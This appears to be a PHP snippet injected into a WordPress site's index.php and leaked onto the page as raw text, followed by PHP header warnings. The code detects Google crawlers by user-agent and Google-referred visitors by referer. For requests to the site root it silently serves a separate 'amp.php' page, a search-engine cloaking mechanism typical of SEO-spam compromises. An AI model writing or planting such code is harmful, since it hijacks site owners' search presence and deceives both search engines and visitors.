empty($_SERVER['HTTP_REFERER'])) {
    $referer = $_SERVER['HTTP_REFERER'];
} else {
    $referer = '';
}

$googleBots = [
    'Googlebot',             // Genel Google bot
    'AdsBot',                // Google Ads bot
    'Mediapartners-Google',  // Google AdSense bot
    'APIs-Google',           // Google API bot
    'Googlebot-Image',       // Google Görseller botu
    'Googlebot-Video',       // Google Video botu
    'Googlebot-News',        // Google Haberler botu
    'Googlebot-Search',      // Google Search Console botu
    'Googlebot-Inspect',     // Google Inspect Tool
    'Googlebot-Android',     // Android cihazlardan gelen Googlebot
    'Googlebot-Mobile',      // Google mobil botu
    'Googlebot-Ads',         // Google Ads botu
    'Googlebot-Discovery',   // Google'ın keşif botu
    'Google-',               // Google'ın keşif botu
];

// Google botlarını veya Google'dan gelen kullanıcıları kontrol et
if (
    preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) || // Google botlarını kontrol et
    strpos($referer, 'google.') !== false                             // Referer Google mı kontrol et
) {
    // Check if the request is for the root directory and index.php
    if ($_SERVER['REQUEST_URI'] == '/') {
        include 'amp.php';
        die();
    }
}


<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/f90126asim/public_html/index.php:1) in <b>/home/f90126asim/public_html/wp-includes/pluggable.php</b> on line <b>1450</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/f90126asim/public_html/index.php:1) in <b>/home/f90126asim/public_html/wp-includes/pluggable.php</b> on line <b>1453</b><br />